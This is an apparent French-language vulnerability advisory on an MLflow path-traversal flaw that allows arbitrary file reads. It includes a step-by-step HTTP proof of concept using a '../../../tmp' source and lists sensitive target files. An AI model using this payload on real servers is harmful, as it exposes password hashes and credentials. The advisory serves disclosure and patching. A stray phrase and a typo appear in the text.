MLflow vulnérable à la lecture de fichiers arbitraires sur les serveurs non authentifiés via la source de version de modèle prompt

Résumé

Sur les serveurs de suivi MLflow fonctionnant sans authentification, ce qui est la valeur par défaut pour mlflow server, un attaquant à distance peut lire des fichiers arbitraires du système de fichiers du serveur en créant une version de modèle étiquetée comme prompt dont la source est un chemin local sans schéma.

La correction de CVE-2026-2614 dans 3.10.0 a ajouté une branche spécifique aux prompts dans le gestionnaire CreateModelVersion qui rejette les URI file:// et les chemins absolus, mais n'exécute la validation de chemin que lorsque la source possède un schéma URL. Une valeur sans schéma telle que ../../etc, un nom relatif simple, ., un chemin encodé en pourcentage ou un chemin de lecteur Windows est donc stocké inchangé comme emplacement d'artifact de la version de modèle, et l'endpoint model-versions/get-artifact sert ensuite des fichiers à partir de celui-ci avec les privilèges du processus serveur. La vérification de l'étiquette s'est également appuyée sur la présence de l'étiquette mlflow.prompt.is_prompt plutôt que sur sa valeur, de sorte qu'une valeur faible sélectionnait toujours la branche la plus faible.

Les serveurs utilisant --app-name basic-auth sont également affectés : tout utilisateur authentifié peut créer un modèle enregistré, de sorte qu'un compte à privilèges réduits peut utiliser cette primitive pour lire la base de données d'authentification, y compris le mot de passe haché de l'administrateur.

Affecté : MLflow 3.10.0 à 3.16.1. Corrigé dans 3.17.0 par mlflow/mlflow#25870 (leiho berria), qui n'accepte que les sources placeholder MLflow propres pour les versions de prompt et exige que l'étiquette prompt soit true.

Détails

Lors de la création d'une version de modèle avec l'étiquette mlflow.prompt.is_prompt définie sur true, la requête est gérée par la branche prompt dans _create_model_version().

mlflow/server/handlers.py:2674-2690 :

is_prompt = _is_prompt_request(request_message)
if is_prompt:
    source = request_message.source
    parsed = urllib.parse.urlparse(source)
    if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
        raise MlflowException(...)
    if parsed.scheme:
        _validate_non_local_source_contains_relative_paths(source)
else:
    if request_message.model_id:
        _validate_source_model(request_message.source, request_message.model_id)
    else:
        _validate_source_run(request_message.source, request_message.run_id)

La branche prompt n'appelle pas _validate_source_run(), _validate_source_model() ou _validate_non_local_source_contains_relative_paths() pour les chemins relatifs sans schéma.

Le point de lecture d'artifacts ultérieur fait confiance à la source stockée :

mlflow/server/handlers.py:2765-2782 :

def get_model_version_artifact_handler():
    name = request.args.get("name")
    version = request.args.get("version")
    path = request.args["path"]
    path = validate_path_is_safe(path)
    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
    ...
    else:
        artifact_repo = get_artifact_repository(artifact_uri)
        artifact_path = path

    return _send_artifact(artifact_repo, artifact_path)

_send_artifact() appelle artifact_repository.download_artifacts(path) et sert le fichier local résultant avec send_file().

Preuve de concept

Prérequis : Un serveur de suivi MLflow accessible avec les endpoints du registre de modèles activés.

1. Créer un fichier sentinel sur le serveur :

printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt

1. Envoyer les requêtes suivantes au serveur MLflow pour exploiter la traversée :

D'abord, créer un modèle enregistré :

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}

Ensuite, créer une version de modèle étiquetée prompt avec la source relative malveillante ../../../tmp :

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
  "name": "pwned-model",
  "source": "../../../tmp",
  "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}

Enfin, récupérer le fichier arbitraire via l'endpoint de download d'artifact en fournissant le nom de fichier cible dans le paramètre path :

GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000

Cela retourne le contenu de /tmp/sentinel-mlflow.txt. La même primitive peut lire des fichiers sensibles comme /etc/passwd ou les bases de données de suivi (par exemple mlflow.db).

Impact

L'impact direct est la lecture de fichiers locaux arbitraires en tant que le processus serveur MLflow. Les cibles confirmées de lecture incluent :

• /etc/passwd
• Les bases de données SQLite de suivi lisibles par le processus (par exemple, mlflow-auth.db ou basic_auth.db)
• Les variables d'environnement ou configurations stockées sur disque
• /home/user/.bash_history

Modèle de menace : Un attaquant qui peut atteindre le port HTTP du serveur de suivi MLflow peut lire des fichiers arbitraires lisibles par le processus serveur MLflow. Sur les déploiements MLflow non authentifiés, c'est directement exploitable sans identifiants. Sur les déploiements avec authentification activée, tout utilisateur authentifié (même des comptes à privilèges réduits ou « lecture-seul », selon les configurations RBAC par défaut permettant la création de modèles) peut utiliser la primitive. Les magasins de identifiants fués peuvent permettre des attaques de mot de passe hors ligne ou une compromission administrative plus large.